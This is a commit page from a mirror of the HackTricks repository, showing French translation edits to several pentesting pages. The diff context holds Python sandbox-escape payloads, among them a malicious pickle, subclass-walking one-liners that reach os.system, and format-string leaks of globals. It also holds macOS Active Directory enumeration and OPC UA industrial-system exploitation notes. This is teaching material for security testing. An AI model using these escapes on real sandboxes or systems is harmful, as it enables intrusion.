mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['README.md', 'generic-methodologies-and-resources/python/byp
This commit is contained in:
parent
d1d35e9e12
commit
917b7bca18
31 changed files with 303 additions and 303 deletions
16
README.md
16
README.md
|
@ -81,7 +81,7 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -98,10 +98,10 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
|||
|
||||
**SerpApi** propose des API rapides et faciles en temps réel pour **accéder aux résultats des moteurs de recherche**. Ils extraient des moteurs de recherche, gèrent des proxies, résolvent des captchas et analysent toutes les données structurées riches pour vous.
|
||||
|
||||
Un abonnement à l'un des plans de SerpApi inclut l'accès à plus de 50 API différentes pour extraire différents moteurs de recherche, y compris Google, Bing, Baidu, Yahoo, Yandex, et plus.\
|
||||
Contrairement à d'autres fournisseurs, **SerpApi ne se contente pas d'extraire des résultats organiques**. Les réponses de SerpApi incluent systématiquement toutes les annonces, images et vidéos en ligne, graphiques de connaissances, et d'autres éléments et fonctionnalités présents dans les résultats de recherche.
|
||||
Un abonnement à l'un des plans de SerpApi inclut l'accès à plus de 50 API différentes pour extraire différents moteurs de recherche, y compris Google, Bing, Baidu, Yahoo, Yandex, et plus encore.\
|
||||
Contrairement à d'autres fournisseurs, **SerpApi ne se contente pas d'extraire des résultats organiques**. Les réponses de SerpApi incluent systématiquement toutes les annonces, images et vidéos en ligne, graphiques de connaissances et autres éléments et fonctionnalités présents dans les résultats de recherche.
|
||||
|
||||
Les clients actuels de SerpApi incluent **Apple, Shopify, et GrubHub**.\
|
||||
Les clients actuels de SerpApi incluent **Apple, Shopify et GrubHub**.\
|
||||
Pour plus d'informations, consultez leur [**blog**](https://serpapi.com/blog/)**,** ou essayez un exemple dans leur [**playground**](https://serpapi.com/playground)**.**\
|
||||
Vous pouvez **créer un compte gratuit** [**ici**](https://serpapi.com/users/sign\_up)**.**
|
||||
|
||||
|
@ -113,9 +113,9 @@ Vous pouvez **créer un compte gratuit** [**ici**](https://serpapi.com/users/sig
|
|||
|
||||
[**WebSec**](https://websec.nl) est une entreprise de cybersécurité professionnelle basée à **Amsterdam** qui aide à **protéger** les entreprises **dans le monde entier** contre les dernières menaces de cybersécurité en fournissant des **services de sécurité offensive** avec une approche **moderne**.
|
||||
|
||||
WebSec est une **entreprise de sécurité tout-en-un**, ce qui signifie qu'ils font tout ; Pentesting, **Audits** de sécurité, Formations de sensibilisation, Campagnes de phishing, Revue de code, Développement d'exploits, Externalisation d'experts en sécurité et bien plus encore.
|
||||
WebSec est une **entreprise de sécurité tout-en-un**, ce qui signifie qu'ils font tout ; Pentesting, **Audits** de Sécurité, Formations de Sensibilisation, Campagnes de Phishing, Revue de Code, Développement d'Exploits, Externalisation d'Experts en Sécurité et bien plus encore.
|
||||
|
||||
Une autre chose intéressante à propos de WebSec est qu'à la différence de la moyenne de l'industrie, WebSec est **très confiant dans ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats de qualité**, il est indiqué sur leur site web "**Si nous ne pouvons pas le hacker, vous ne payez pas !**". Pour plus d'infos, jetez un œil à leur [**site web**](https://websec.nl/en/) et [**blog**](https://websec.nl/blog/) !
|
||||
Une autre chose intéressante à propos de WebSec est que, contrairement à la moyenne de l'industrie, WebSec est **très confiant dans ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats de qualité**, il est indiqué sur leur site web "**Si nous ne pouvons pas le hacker, vous ne le payez pas !**". Pour plus d'infos, jetez un œil à leur [**site web**](https://websec.nl/en/) et [**blog**](https://websec.nl/blog/) !
|
||||
|
||||
En plus de ce qui précède, WebSec est également un **soutien engagé de HackTricks.**
|
||||
|
||||
|
@ -134,8 +134,8 @@ Consultez-les dans :
|
|||
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src=".gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src=".gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src=".gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src=".gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le Hacking AWS :<img src=".gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src=".gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src=".gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src=".gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -77,7 +77,7 @@ Python essaie de **charger les bibliothèques du répertoire courant en premier*
|
|||
### Paquets par défaut
|
||||
|
||||
Vous pouvez trouver une **liste des paquets pré-installés** ici : [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Notez qu'à partir d'un pickle, vous pouvez faire en sorte que l'environnement python **importe des bibliothèques arbitraires** installées sur le système.\
|
||||
Notez qu'à partir d'un pickle, vous pouvez faire en sorte que l'environnement python **importe des bibliothèques arbitraires** installées dans le système.\
|
||||
Par exemple, le pickle suivant, lorsqu'il est chargé, va importer la bibliothèque pip pour l'utiliser :
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
|
@ -177,7 +177,7 @@ Il est également possible de le contourner en utilisant d'autres encodages, par
|
|||
|
||||
## Exécution Python sans appels
|
||||
|
||||
Si vous êtes à l'intérieur d'une prison python qui **ne vous permet pas de faire des appels**, il existe encore des moyens d'**exécuter des fonctions, du code** et des **commandes arbitraires**.
|
||||
Si vous êtes dans une prison python qui **ne vous permet pas de faire des appels**, il existe encore des moyens d'**exécuter des fonctions, du code** et des **commandes arbitraires**.
|
||||
|
||||
### RCE avec [décorateurs](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
|
@ -339,7 +339,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
|||
```
|
||||
### Pas de Builtins
|
||||
|
||||
Lorsque vous n'avez pas `__builtins__`, vous ne pourrez rien importer ni même lire ou écrire des fichiers car **toutes les fonctions globales** (comme `open`, `import`, `print`...) **ne sont pas chargées**.\
|
||||
Lorsque vous n'avez pas `__builtins__`, vous ne pourrez pas importer quoi que ce soit ni même lire ou écrire des fichiers car **toutes les fonctions globales** (comme `open`, `import`, `print`...) **ne sont pas chargées**.\
|
||||
Cependant, **par défaut, python importe beaucoup de modules en mémoire**. Ces modules peuvent sembler bénins, mais certains d'entre eux **importent également des** fonctionnalités **dangereuses** à l'intérieur qui peuvent être accessibles pour obtenir même **une exécution de code arbitraire**.
|
||||
|
||||
Dans les exemples suivants, vous pouvez observer comment **abuser** de certains de ces modules "**bénins**" chargés pour **accéder** à des **fonctionnalités** **dangereuses** à l'intérieur d'eux.
|
||||
|
@ -426,7 +426,7 @@ class_obj.__init__.__globals__
|
|||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Ci-dessous, il y a une plus grande fonction**](./#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** de **lieux** où vous pouvez trouver les **globals**.
|
||||
[**Ci-dessous, il y a une fonction plus grande**](./#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** de **lieux** où vous pouvez trouver les **globals**.
|
||||
|
||||
## Découvrir l'exécution arbitraire
|
||||
|
||||
|
@ -469,7 +469,7 @@ Par exemple, sachant qu'avec la bibliothèque **`sys`** il est possible de **imp
|
|||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
Il y en a beaucoup, et **nous n'avons besoin que d'un seul** pour exécuter des commandes :
|
||||
Il y en a beaucoup, et **nous n'avons besoin que d'un** pour exécuter des commandes :
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
|
@ -563,7 +563,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
|||
## Recherche Récursive des Builtins, Globals...
|
||||
|
||||
{% hint style="warning" %}
|
||||
C'est juste **génial**. Si vous **cherchez un objet comme globals, builtins, open ou autre**, utilisez simplement ce script pour **trouver de manière récursive les endroits où vous pouvez trouver cet objet.**
|
||||
C'est tout simplement **incroyable**. Si vous **cherchez un objet comme globals, builtins, open ou autre**, utilisez simplement ce script pour **trouver de manière récursive les endroits où vous pouvez trouver cet objet.**
|
||||
{% endhint %}
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
@ -688,7 +688,7 @@ Vous pouvez vérifier la sortie de ce script sur cette page :
|
|||
|
||||
## Format de chaîne Python
|
||||
|
||||
Si vous **envoyez** une **chaîne** à python qui va être **formatée**, vous pouvez utiliser `{}` pour accéder à **l'information interne de python.** Vous pouvez utiliser les exemples précédents pour accéder aux globals ou builtins par exemple.
|
||||
Si vous **envoyez** une **chaîne** à python qui va être **formatée**, vous pouvez utiliser `{}` pour accéder à **l'information interne de python.** Vous pouvez utiliser les exemples précédents pour accéder aux globals ou aux builtins par exemple.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
|
@ -708,7 +708,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Notez comment vous pouvez **accéder aux attributs** de manière normale avec un **point** comme `people_obj.__init__` et **élément dict** avec **parenthèses** sans guillemets `__globals__[CONFIG]`
|
||||
Notez comment vous pouvez **accéder aux attributs** de manière normale avec un **point** comme `people_obj.__init__` et **élément de dict** avec **parenthèses** sans guillemets `__globals__[CONFIG]`
|
||||
|
||||
Notez également que vous pouvez utiliser `.__dict__` pour énumérer les éléments d'un objet `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
|
@ -799,7 +799,7 @@ Le défi abuse en fait d'une autre vulnérabilité sur le serveur qui permet de
|
|||
Si vous voulez **apprendre** sur le **bytecode python** en profondeur, lisez ce **superbe** article sur le sujet : [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
{% endhint %}
|
||||
|
||||
Dans certains CTFs, vous pourriez recevoir le nom d'une **fonction personnalisée où le flag** réside et vous devez voir les **internes** de la **fonction** pour l'extraire.
|
||||
Dans certains CTF, vous pourriez recevoir le nom d'une **fonction personnalisée où le flag** réside et vous devez voir les **internes** de la **fonction** pour l'extraire.
|
||||
|
||||
C'est la fonction à inspecter :
|
||||
```python
|
||||
|
@ -960,7 +960,7 @@ return calc_flag("VjkuKuVjgHnci")
|
|||
else:
|
||||
return "Nope"
|
||||
```
|
||||
### Création de l'objet code
|
||||
### Creating the code object
|
||||
|
||||
Tout d'abord, nous devons savoir **comment créer et exécuter un objet code** afin que nous puissions en créer un pour exécuter notre fonction leak :
|
||||
```python
|
||||
|
@ -1007,7 +1007,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
```
|
||||
### Bypass Defenses
|
||||
|
||||
Dans les exemples précédents au début de ce post, vous pouvez voir **comment exécuter n'importe quel code python en utilisant la fonction `compile`**. C'est intéressant car vous pouvez **exécuter des scripts entiers** avec des boucles et tout dans une **ligne** (et nous pourrions faire la même chose en utilisant **`exec`**).\
|
||||
Dans les exemples précédents au début de ce post, vous pouvez voir **comment exécuter n'importe quel code python en utilisant la fonction `compile`**. C'est intéressant car vous pouvez **exécuter des scripts entiers** avec des boucles et tout le reste en une **ligne** (et nous pourrions faire la même chose en utilisant **`exec`**).\
|
||||
Quoi qu'il en soit, parfois il pourrait être utile de **créer** un **objet compilé** sur une machine locale et de l'exécuter sur la **machine CTF** (par exemple parce que nous n'avons pas la fonction `compiled` dans le CTF).
|
||||
|
||||
Par exemple, compilons et exécutons manuellement une fonction qui lit _./poc.py_:
|
||||
|
@ -1082,7 +1082,7 @@ will be bypassed
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -1097,8 +1097,8 @@ Apprenez et pratiquez le hacking GCP : <img src="../../../.gitbook/assets/grte.p
|
|||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Apprenez et pratiquez le hacking GCP : <img src="../../.gitbook/assets/grte.png"
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -129,7 +129,7 @@ Et aussi sur les **protocoles** **réseau** "spéciaux" de **MacOS** :
|
|||
|
||||
## Active Directory
|
||||
|
||||
Dans certaines occasions, vous constaterez que l'**ordinateur MacOS est connecté à un AD**. Dans ce scénario, vous devriez essayer d'**énumérer** l'annuaire actif comme vous en avez l'habitude. Trouvez de l'**aide** dans les pages suivantes :
|
||||
Dans certaines occasions, vous constaterez que l'**ordinateur MacOS est connecté à un AD**. Dans ce scénario, vous devriez essayer de **énumérer** l'annuaire actif comme vous en avez l'habitude. Trouvez de l'**aide** dans les pages suivantes :
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -143,7 +143,7 @@ Dans certaines occasions, vous constaterez que l'**ordinateur MacOS est connect
|
|||
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Un **outil local MacOS** qui peut également vous aider est `dscl` :
|
||||
Un **outil local MacOS** qui pourrait également vous aider est `dscl` :
|
||||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
|
@ -257,7 +257,7 @@ Lorsqu'un fichier est téléchargé dans Safari, s'il s'agit d'un fichier "sûr"
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -272,7 +272,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="../../.gitbook/assets/grte.png"
|
|||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -27,7 +27,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
**OPC UA**, qui signifie **Open Platform Communications Unified Access**, est un protocole open-source crucial utilisé dans diverses industries comme la fabrication, l'énergie, l'aérospatiale et la défense pour l'échange de données et le contrôle des équipements. Il permet de manière unique aux équipements de différents fournisseurs de communiquer, en particulier avec les PLC.
|
||||
|
||||
Sa configuration permet des mesures de sécurité robustes, mais souvent, pour la compatibilité avec les anciens appareils, celles-ci sont réduites, exposant les systèmes à des risques. De plus, trouver des services OPC UA peut être délicat car les scanners de réseau peuvent ne pas les détecter s'ils se trouvent sur des ports non standards.
|
||||
Sa configuration permet de fortes mesures de sécurité, mais souvent, pour la compatibilité avec les appareils plus anciens, celles-ci sont réduites, exposant les systèmes à des risques. De plus, trouver des services OPC UA peut être délicat car les scanners de réseau peuvent ne pas les détecter s'ils se trouvent sur des ports non standards.
|
||||
|
||||
**Port par défaut :** 4840
|
||||
```text
|
||||
|
@ -42,7 +42,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
|||
```
|
||||
### Exploiter les vulnérabilités
|
||||
|
||||
Si des vulnérabilités de contournement d'authentification sont trouvées, vous pouvez configurer un [client OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) en conséquence et voir ce à quoi vous pouvez accéder. Cela peut permettre tout, depuis la simple lecture des valeurs de processus jusqu'à l'exploitation réelle d'équipements industriels lourds.
|
||||
Si des vulnérabilités de contournement d'authentification sont trouvées, vous pouvez configurer un [client OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) en conséquence et voir ce à quoi vous pouvez accéder. Cela peut permettre tout, de la simple lecture des valeurs de processus à l'exploitation réelle d'équipements industriels lourds.
|
||||
|
||||
Pour avoir une idée de l'appareil auquel vous avez accès, lisez les valeurs du nœud "ServerStatus" dans l'espace d'adresses et recherchez un manuel d'utilisation sur Google.
|
||||
|
||||
|
@ -56,7 +56,7 @@ Pour avoir une idée de l'appareil auquel vous avez accès, lisez les valeurs du
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -36,15 +36,15 @@ PORT STATE SERVICE
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -52,7 +52,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
